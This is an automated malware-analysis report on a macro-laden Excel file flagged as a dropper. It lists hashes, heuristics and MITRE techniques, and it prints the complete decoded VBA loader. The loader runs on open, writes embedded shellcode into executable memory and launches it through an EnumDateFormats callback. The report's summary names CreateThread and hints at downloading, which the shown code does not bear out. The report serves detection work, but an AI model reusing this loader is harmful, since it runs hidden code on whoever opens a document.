Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a00d42cfc27b244c…

MALICIOUS

Office (OLE)

26.0 KB Created: 2012-01-20 23:44:55 Authoring application: Microsoft Excel First seen: 2017-10-10
MD5: ab561120814fc06c9817c99d436e636c SHA-1: eab910caf58e184eb97129170da70d84f5d329c0 SHA-256: a00d42cfc27b244ce400279f74d9ce96b54ccb6ad31c15fdb4debc89729519e5
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros that leverage the Auto_Open event to execute embedded shellcode. The shellcode is allocated using VirtualAlloc and executed via CreateThread, a common technique for downloading and running additional malware. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' suggests a dropper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim one_byte As Long, shellcode_bytes As Variant, shellcode_mapped As Long, junk_status As Long, sc_range As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2752 bytes
SHA-256: 88a78a28952f53c43f070a87b47a16408399aac9f15c2c4ff6f807121f05eb50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Aacsuf As Long, ByVal Ioo As Long, ByVal Fpihqsli As Long, ByVal Ximedrqa As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vejyzyxy As Long, ByRef Kalwgz As Any, ByVal Ftnp As Long) As Long
Private Declare Function EnumDateFormats Lib "kernel32" Alias "EnumDateFormatsA" (ByVal lpDateFmtEnumProc As Long, ByVal locale As Long, ByVal dwFlags As Long) As Boolean



Sub Auto_Open()
    Dim one_byte As Long, shellcode_bytes As Variant, shellcode_mapped As Long, junk_status As Long, sc_range As Long
    shellcode_bytes = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 106, 1, 141, 133, 185, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, _
224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, _
187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 99, 97, 108, 99, 0)
    shellcode_mapped = VirtualAlloc(0, UBound(shellcode_bytes), &H1000, &H40)
    For sc_range = LBound(shellcode_bytes) To UBound(shellcode_bytes)
        one_byte = shellcode_bytes(sc_range)
        junk_status = RtlMoveMemory(shellcode_mapped + sc_range, one_byte, 1)
    Next sc_range
    junk_status = EnumDateFormats(shellcode_mapped, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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